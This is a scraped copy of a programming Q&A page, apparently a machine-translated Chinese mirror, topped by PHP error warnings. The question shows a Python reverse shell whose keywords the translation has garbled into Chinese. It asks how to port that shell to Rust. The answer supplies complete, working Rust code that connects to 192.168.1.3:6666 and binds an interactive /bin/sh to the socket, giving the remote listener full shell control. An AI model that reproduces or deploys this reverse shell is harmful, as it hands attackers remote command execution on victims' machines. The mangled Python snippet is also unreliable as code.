Warning: file_get_contents(/data/phpspider/zhask/data//catemap/3/sockets/2.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
什么是用Python编写的反向shell脚本的等价物?_Python_Sockets_Rust_Subprocess_Reverse Shell - Fatal编程技术网

什么是用Python编写的反向shell脚本的等价物?

什么是用Python编写的反向shell脚本的等价物?,python,sockets,rust,subprocess,reverse-shell,Python,Sockets,Rust,Subprocess,Reverse Shell,Python中的反向shell脚本通常如下所示: 导入套接字、子进程、操作系统; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s、 连接(\“192.168.1.3\”,6666)); os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2); p=子进程调用([\“/bin/sh\”,\“-i\”); 我试图用锈迹复制这个过程: let mut stream

Python中的反向shell脚本通常如下所示:

导入套接字、子进程、操作系统;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s、 连接(\“192.168.1.3\”,6666));
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
p=子进程调用([\“/bin/sh\”,\“-i\”);
我试图用锈迹复制这个过程:

let mut stream = std::net::TcpStream::connect("192.168.1.3:6666").unwrap();
我只得到了到主机的TCP连接,用netcat(
nc-l-p6666
)监听。如果理解正确,我需要通过套接字重定向标准输入、输出和错误,然后以某种方式“调用”
/bin/sh


如何在Rust中编写此反向shell脚本?

与在Rust中编写Python反向shell相当的是:

use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};

fn main() {
    let s = TcpStream::connect("192.168.1.3:6666").unwrap();
    let fd = s.as_raw_fd();
    Command::new("/bin/sh")
        .arg("-i")
        .stdin(unsafe { Stdio::from_raw_fd(fd) })
        .stdout(unsafe { Stdio::from_raw_fd(fd) })
        .stderr(unsafe { Stdio::from_raw_fd(fd) })
        .spawn()
        .unwrap()
        .wait()
        .unwrap();
}